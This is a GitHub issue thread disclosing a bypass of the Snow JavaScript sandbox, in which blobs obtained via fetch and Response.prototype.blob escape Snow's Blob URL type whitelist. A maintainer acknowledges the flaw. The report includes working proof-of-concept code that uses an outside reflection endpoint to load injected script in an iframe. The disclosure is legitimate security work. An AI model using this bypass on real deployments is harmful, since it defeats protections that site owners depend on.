Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Snow can be bypassed using the Response.prototype.blob function #159

Open
matanber opened this issue Apr 29, 2024 · 2 comments
Open

Snow can be bypassed using the Response.prototype.blob function #159

matanber opened this issue Apr 29, 2024 · 2 comments

Comments

@matanber
Copy link

Snow overrides the URL.createObjectURL function to only allow creation of Blob URLs if the blob type is included in a specific whitelist that Snow keeps. However, if the blob isn't an "artificial blob" (wasn't created using the Blob() constructor), this check isn't performed, and the blob URL is created regardless of the blob type.
Because an attacker can get access to a non-artificial blobs with an arbitrary content and type using the Response.prototype.blob function, this can be exploited in order to create URLs for arbitrary blobs. Here is a short demo for that:

(async () => {
resp = await fetch("https://peo.si/reflect.php?h=<h1>test</h1>"
blob = await resp.blob()
console.log(URL.createObjectURL(blob))
})()

This can be then used to bypass Snow, using a PoC such as the following:

(async () => {

js_url = URL.createObjectURL(new Blob([`
    alert(origin)
`], {type: "text/javascript"}))
html = `<script src="${js_url}"></script>`
resp = await fetch("https://peo.si/reflect.php?h=" + encodeURIComponent(html))
blob = await resp.blob()
ifr = document.createElement("iframe")
document.body.appendChild(ifr)
ifr.src = URL.createObjectURL(blob)

})()
@weizman
Copy link
Member

weizman commented May 5, 2024

Hi @matanber , please see #158 (comment)

@weizman
Copy link
Member

weizman commented May 5, 2024

And as for this specific bypass - good one.

I remember realizing this can be done at some point after merging the original solution, so I can't say I'm surprised.

But I think it's clever to see that :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants